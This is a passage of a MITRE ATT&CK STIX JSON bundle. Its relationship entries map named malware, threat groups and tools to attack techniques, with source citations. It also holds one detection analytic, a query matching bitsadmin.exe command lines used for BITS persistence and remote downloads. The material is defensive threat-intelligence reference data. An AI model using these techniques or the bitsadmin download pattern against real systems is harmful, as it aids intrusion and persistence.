NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-26T17:09:13.270Z","description":"[GoldFinder](https://attack.mitre.org/software/S0597) has used HTTP for C2.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--b7010785-699f-412f-ba49-524da6033c76","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e43ab91c-ad83-4469-8a8f-ce3337cdcb12","type":"relationship","created":"2021-10-01T21:53:33.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.155Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) has captured a screenshot of the display every 30 seconds for the first 5 minutes after initiating a C2 loop, and then once every five minutes thereafter.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e43b9163-36cb-469a-9c47-9e4bd8af1383","created":"2023-03-26T15:40:28.762Z","revoked":false,"external_references":[{"source_name":"Microsoft 365 Defender Solorigate","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"},{"source_name":"Secureworks IRON RITUAL Profile","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:40:28.762Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.(Citation: Secureworks IRON RITUAL Profile)(Citation: Microsoft 365 Defender Solorigate)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4465d76-d212-4f14-8493-c9c5d7c8a6f4","type":"relationship","created":"2019-04-16T17:43:42.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2019-04-22T19:59:21.513Z","description":"[POWERTON](https://attack.mitre.org/software/S0371) can install a Registry Run key for persistence.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e4485663-a636-4253-88a7-97999a909932","created":"2022-04-11T19:22:21.879Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) can use HTTP for C2 communications.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-11T19:22:21.879Z","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4489924-d87d-4a18-8702-418361f6a2bb","type":"relationship","created":"2020-06-15T20:49:55.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.564Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify installed programs on a compromised host.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e44f4171-5601-4b92-964a-908af35b98e2","created":"2024-05-29T18:19:31.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"},{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T20:33:02.871Z","description":"\nThe [Gootloader](https://attack.mitre.org/software/S1138) first stage script is obfuscated using random alpha numeric strings.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e453cf75-0df0-45e5-a5ce-e0984bf864f8","type":"relationship","created":"2019-01-30T14:00:49.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","source_name":"PaloAlto DNS Requests May 2016"},{"source_name":"Anomali Evasive Maneuvers July 2015","url":"https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop","description":"Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018."}],"modified":"2020-03-17T18:44:56.501Z","description":"[APT18](https://attack.mitre.org/groups/G0026) uses cmd.exe to execute commands on the victim’s machine.(Citation: PaloAlto DNS Requests May 2016)(Citation: Anomali Evasive Maneuvers July 2015)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e45bff55-f8b0-406b-ba7d-03af2e7be8c8","type":"relationship","created":"2019-04-23T16:12:37.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.977Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can perform port scans from an infected host.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e45c0080-ee1c-4ef1-813f-d58b83de4a8b","type":"relationship","created":"2021-01-20T18:10:33.798Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESEST Black Energy Jan 2016","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"}],"modified":"2021-10-13T21:34:46.845Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) deletes system files to make the OS unbootable. [KillDisk](https://attack.mitre.org/software/S0607) also targets and deletes files with 35 different file extensions.(Citation: ESEST Black Energy Jan 2016)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e45cdf20-e182-4346-8c98-a48575282ae6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-16T17:02:26.220Z","description":"[Kasidet](https://attack.mitre.org/software/S0088) has the ability to initiate keylogging.(Citation: Zscaler Kasidet)","relationship_type":"uses","source_ref":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e460fd2b-6093-4700-a4a9-3bdea5297bdf","created":"2023-07-20T15:37:55.824Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-20T15:37:55.824Z","description":"Data loss prevention can be detect and block sensitive data being uploaded to web services via web browsers.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e463f5ae-4b7a-40dd-94e1-1a04a22e5e23","type":"relationship","created":"2021-01-05T14:52:09.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2021-01-05T14:52:09.765Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used a Twitter account to communicate with ransomware victims.(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e465cb38-ba50-4d2d-b2cd-659742815317","created":"2021-06-11T19:27:09.116Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.417Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can find and collect data from removable media devices.(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2020-03-19T19:47:59.294Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) runs cmd.exe /c and sends the output to its C2.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/alerts/TA17-318B","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","source_name":"US-CERT Volgmer Nov 2017"}],"modified":"2019-09-09T19:15:45.643Z","description":"(Citation: US-CERT Volgmer Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e46888e6-8c13-4a9c-8638-f8c151bec3c6","type":"relationship","created":"2021-03-21T23:21:41.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest parti","url":"https://objective-see.com/blog/blog_0x59.html","description":"Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."}],"modified":"2021-03-31T16:34:43.129Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) invokes time call to check the system's time, executes a sleep command, invokes a second time call, and then compares the time difference between the two time calls and the amount of time the system slept to identify the sandbox.(Citation: wardle evilquest parti)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e46d31bf-23d8-4464-96e8-aee04f745921","created":"2021-11-30T19:26:17.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gelsemium June 2021","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:28:35.959Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to compress its components.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e46dc495-5581-471c-84b5-b0dd825471f9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","source_name":"PTSecurity Cobalt Group Aug 2017"},{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:34.200Z","description":"(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e46dcc94-3608-4e31-9802-1c46368344f9","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:50:52.818Z","description":"Monitor for newly constructed BITS tasks to enumerate using the BITSAdmin tool (bitsadmin /list /allusers /verbose). \n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). Analytic 1 is oriented around looking for the creation of Microsoft Background Intelligent Transfer Service utility (bitsadmin.exe) processes that schedule a BITS job to persist on an endpoint. The analytic identifies the command-line parameters used to create, resume or add a file to a BITS job; these are typically seen combined in a single command-line or executed in sequence.\n\nAnalytic 2 identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe using the transfer parameter to download a remote object. In addition, look for download or upload on the command-line, the switches are not required to perform a transfer. Capture any files downloaded. Review the reputation of the IP or domain used. Typically once executed, a follow on command will be used to execute the dropped file. Network connection or file modification events related will not spawn or create from bitsadmin.exe , but the artifacts will appear in a parallel process of svchost.exe with a command-line similar to svchost.exe -k netsvcs -s BITS . It’s important to review all parallel and child processes to capture any behaviors and artifacts. In some suspicious and malicious instances, BITS jobs will be created. You can use bitsadmin /list /verbose to list out the jobs during investigation.\n\n\nAnalytic 1 - BITS Job Persistence\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"C:\\Windows\\System32\\bitsadmin.exe\" AND \n (CommandLine= \"*create*\" OR\n CommandLine= \"*addfile*\" OR \n CommandLine= \"*setnotifyflags*\" OR\n CommandLine= \"*setnotifycmdline*\" OR\n CommandLine= \"*setminretrydelay*\" OR \n CommandLine= \"*setcustomheaders*\" OR\n CommandLine= \"*resume*\")\n\nAnalytic 2 - BITSAdmin Download File\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"C:\\Windows\\System32\\bitsadmin.exe\" AND CommandLine= *transfer*","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-20T18:03:40.118Z","description":"[AutoIt backdoor](https://attack.mitre.org/software/S0129) downloads a PowerShell script that decodes to a typical shellcode loader.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--f5352566-1a64-49ac-8f7f-97e1d1a03300","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e4768282-a422-45b3-9e60-43394063a468","created":"2019-06-14T16:51:02.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rapid7 KeyBoy Jun 2013","description":"Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.","url":"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/"},{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.398Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) can launch interactive shells for communicating with the victim machine.(Citation: PWC KeyBoys Feb 2017)(Citation: Rapid7 KeyBoy Jun 2013)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e47bf587-4bac-4f6b-ac2b-9ca462e95d0a","created":"2023-09-28T13:29:49.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:35:37.805Z","description":"[Pacu](https://attack.mitre.org/software/S1091) leverages valid cloud accounts to perform most of its operations.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e47f03aa-09b3-45a2-927d-b2cd96e7c444","type":"relationship","created":"2019-01-30T14:00:49.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Evasive Maneuvers July 2015","url":"https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop","description":"Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018."},{"description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","source_name":"PaloAlto DNS Requests May 2016"}],"modified":"2019-05-30T18:05:32.837Z","description":"[APT18](https://attack.mitre.org/groups/G0026) establishes persistence via the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key.(Citation: Anomali Evasive Maneuvers July 2015)(Citation: PaloAlto DNS Requests May 2016)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e481bd6a-3143-4fd6-b1d9-97d1060f423d","type":"relationship","created":"2021-10-07T21:28:23.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-07T21:28:23.946Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) attempts to discover accounts from various locations such as a user's Evernote, AppleID, Telegram, Skype, and WeChat data.(Citation: trendmicro xcsset xcode project 